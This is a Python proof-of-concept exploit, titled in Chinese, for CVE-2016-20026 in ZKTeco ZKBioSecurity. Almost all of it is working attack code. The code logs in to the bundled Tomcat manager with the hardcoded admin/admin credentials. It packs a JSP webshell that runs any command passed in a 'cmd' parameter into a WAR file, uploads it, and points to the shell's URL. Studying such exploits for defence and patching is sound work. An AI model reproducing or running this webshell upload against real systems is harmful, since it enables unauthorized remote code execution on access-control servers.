CVE-2016-20026 ZKTeco ZKBioSecurity 硬编码凭证导致远程代码执行

import requests import sys # CVE-2016-20026 PoC - ZKTeco ZKBioSecurity Hardcoded Credentials RCE # Target: ZKTeco ZKBioSecurity 3.0 with bundled Apache Tomcat TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "http://target-server" TOMCAT_MANAGER_URL = f"{TARGET_HOST}:8080/manager/html/upload" # Hardcoded credentials typically found in tomcat-users.xml USERNAME = "admin" PASSWORD = "admin" def create_malicious_war(): """Generate JSP webshell WAR file for exploitation""" jsp_shell = '''<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); if(cmd != null) { Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); BufferedReader br = new BufferedReader(new InputStreamReader(in)); String line; while((line = br.readLine()) != null) { out.println(line); } } %>''' import zipfile import io war_buffer = io.BytesIO() with zipfile.ZipFile(war_buffer, 'w', zipfile.ZIP_DEFLATED) as war: war.writestr('shell.jsp', jsp_shell) return war_buffer.getvalue() def exploit(): """Execute the exploit to upload malicious WAR and gain RCE""" session = requests.Session() # Step 1: Authenticate with hardcoded credentials auth = requests.auth.HTTPBasicAuth(USERNAME, PASSWORD) # Step 2: Upload malicious WAR file files = {'deployWar': ('malicious.war', create_malicious_war(), 'application/octet-stream')} try: response = session.post(TOMCAT_MANAGER_URL, auth=auth, files=files, timeout=30) if response.status_code == 200: print("[+] Successfully uploaded malicious WAR file!") print("[+] Access shell at: /shell/shell.jsp?cmd=whoami") else: print("[-] Exploitation failed - credentials may have been changed") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": print("CVE-2016-20026 ZKTeco ZKBioSecurity Exploit") exploit()